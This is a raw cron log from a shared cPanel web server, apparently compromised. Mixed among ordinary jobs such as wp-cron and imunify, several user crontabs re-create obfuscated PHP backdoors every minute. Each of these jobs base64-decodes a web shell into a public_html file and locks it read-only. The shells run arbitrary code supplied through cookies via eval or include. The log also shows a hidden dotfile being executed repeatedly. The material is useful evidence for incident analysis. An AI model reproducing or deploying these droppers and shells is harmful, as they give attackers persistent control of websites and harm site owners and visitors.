EFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:51:02 medusa CROND[19832]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:51:02 medusa CROND[19834]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:51:02 medusa CROND[19819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:51:02 medusa CROND[19840]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:52:01 medusa CROND[27269]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:52:01 medusa CROND[27270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:52:01 medusa CROND[27271]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:52:01 medusa CROND[27273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:52:01 medusa CROND[27275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:52:01 medusa CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:52:01 medusa CROND[27277]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:52:01 medusa CROND[27278]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:52:01 medusa CROND[27279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:52:01 medusa CROND[27281]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:52:01 medusa CROND[27285]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:52:01 medusa CROND[27286]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:52:01 medusa CROND[27304]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:53:01 medusa CROND[1587]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:53:01 medusa CROND[1650]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:53:01 medusa CROND[1809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:53:01 medusa CROND[1810]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:53:01 medusa CROND[1811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:53:01 medusa CROND[1812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:53:01 medusa CROND[1817]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:53:01 medusa CROND[1818]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:53:01 medusa CROND[1819]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:53:01 medusa CROND[1823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:53:01 medusa CROND[1825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:53:01 medusa CROND[1826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:54:02 medusa CROND[8610]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:54:02 medusa CROND[8611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:54:02 medusa CROND[8612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:54:02 medusa CROND[8614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:54:02 medusa CROND[8617]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
